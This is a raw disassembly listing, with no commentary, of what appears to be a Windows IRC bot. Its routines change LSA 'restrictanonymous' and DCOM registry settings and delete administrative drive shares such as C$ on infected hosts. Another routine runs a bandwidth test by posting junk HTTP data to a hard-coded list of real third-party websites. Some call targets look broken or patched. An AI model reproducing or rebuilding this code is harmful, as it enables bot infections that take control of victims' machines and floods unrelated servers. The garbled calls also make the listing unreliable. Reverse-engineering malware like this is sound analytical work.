		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA54
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CBA08
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A730
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------

loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6FC

loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------

loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6C0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------

loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A690

loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBADC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB928
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A558

loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A66C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------

loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A640

loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A578
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------

loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679

loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A61C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------

loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5F0

loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx

loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi

loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA74

loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5C8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------

loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A598
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAB4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA54
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392EC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CBA08
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A948
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------

loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A92C

loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------

loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A780
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA54
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CBA08
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8EC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------

loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8B4

loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------

loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A878
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------

loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A690

loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBADC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A558
		mov	edi, 200h

loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A858
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------

loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A830

loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A568
		jb	short loc_41A86E
		nop
		call	near ptr 28407D0h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7

loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA44
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A858
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------

loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A830

loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx

loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8

loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A800
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------

loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A598
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 26A0861h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9E4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349FC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------

loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]

loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------

loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx

loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44

loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]

loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA7C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174

loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA7C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx

loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------

loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------

loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax

loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------

loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------

loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax

loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------

loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------

loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax

loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------

loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi

loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------

loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi

loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------

loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi

loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A9A0
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26A0861h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBCA0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26E0528h
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi

loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------

loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F

loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------

loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------

loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8

loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------

loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7

loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi

